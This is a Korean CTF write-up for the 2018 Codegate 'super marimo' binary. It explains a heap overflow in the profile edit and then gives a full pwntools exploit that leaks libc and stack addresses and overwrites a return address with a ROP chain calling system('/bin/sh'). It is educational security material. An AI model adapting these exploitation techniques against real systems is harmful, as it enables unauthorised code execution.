2018 codegate super marimo
처음 init_marimo 부분에서는 0x20 크기로 malloc, 0x20만큼 입력받는다. 잘 작성되어 있다.
근데 profile을 수정하는 부분에서는 32보다 많이 받는다. 즉 heap overflow가 발생한다.
view에서 정보들을 출력해주기 때문에 leak이 가능하며 위에 프로필 재입력 부분에서 *(a1+2)를 참조하여 입력하므로 arbitrary write가 가능하다.
exploit을 짜면서 잘 보면 got를 system으로 바꿔 쉘을 실행시킬만한 함수가 보이질 않는다. ( 다풀고 풀이 보니 strncmp가 있네요 왜 못봤지 ㅠㅠ )
처음에는 exit got를 one gadget으로 덮어 풀려고 했는데 안돼서 stack 주소를 leak한 후 view의 ret을 덮어 rtl로 풀었다.
그리고 setvbuf가 설정되어있지 않아 exploit에 정말 짜증을 느꼈다..
x
from pwn import *
from ctypes import cdll
#context.log_level = 'debug'
e = ELF('./marimo')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
def sl(x):
s.sendline(x)
sleep(0.1)
p = lambda : pause()
io = lambda : s.interactive()
def init(name, profile):
sl('show me the marimo')
sl(name)
sl(profile)
def view(idx, sel, data):
sl('V')
sl(idx)
if sel == 'M':
sl(sel)
sl(data)
sl('B')
elif sel == 'B':
sl(sel)
def buy(size, name, profile):
sl('B')
sl(size)
sl('P')
sl(name)
sl(profile)
def sell(idx):
sl('S')
sl(idx)
sl('S')
def about():
sl('A')
s.recv()
init('name', 'profile')
init('name2', 'profile2')
pay = 'A'*0x30 + p32(libc.time(0)) + p32(1) + p64(e.got['puts']) + p64(e.got['exit'])
sleep(1)
view('0', 'M', pay)
s.recv()
view('1', 'B', '')
ru('name : ')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - l.symbols['puts']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
environ = libc_base + l.symbols['environ']
print('environ: {}'.format(hex(environ)))
binsh = libc_base + 0x18cd57
#one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
#one = libc_base + one_list[3]
pay = 'A'*0x30 + p32(libc.time(0)) + p32(1) + p64(environ)*2
sleep(1)
view('0', 'M', pay)
ru('A'*0x30)
ru('A'*0x30)
view('1', 'B', '')
ru('name : ')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('environ!: {}'.format(hex(leak)))
view_ret = leak - 0x1c0
print('view_ret!: {}'.format(hex(view_ret)))
pay = 'A'*0x30 + p32(libc.time(0)) + p32(1) + p64(view_ret)*2
sleep(1)
view('0', 'M', pay)
pop_rdi = 0x004013c3
view('1', 'M', p64(pop_rdi) + p64(binsh) + p64(system))
io()
'system > writeup' 카테고리의 다른 글
2019 codegate god-the-reum (0) | 2019.01.27 |
---|---|
2018 codegate zoo (0) | 2019.01.25 |
2018 codegate superftp (0) | 2019.01.23 |
2018 codegate baskinrobins31 (0) | 2019.01.22 |
2016 hitcon sleepyholder (0) | 2019.01.22 |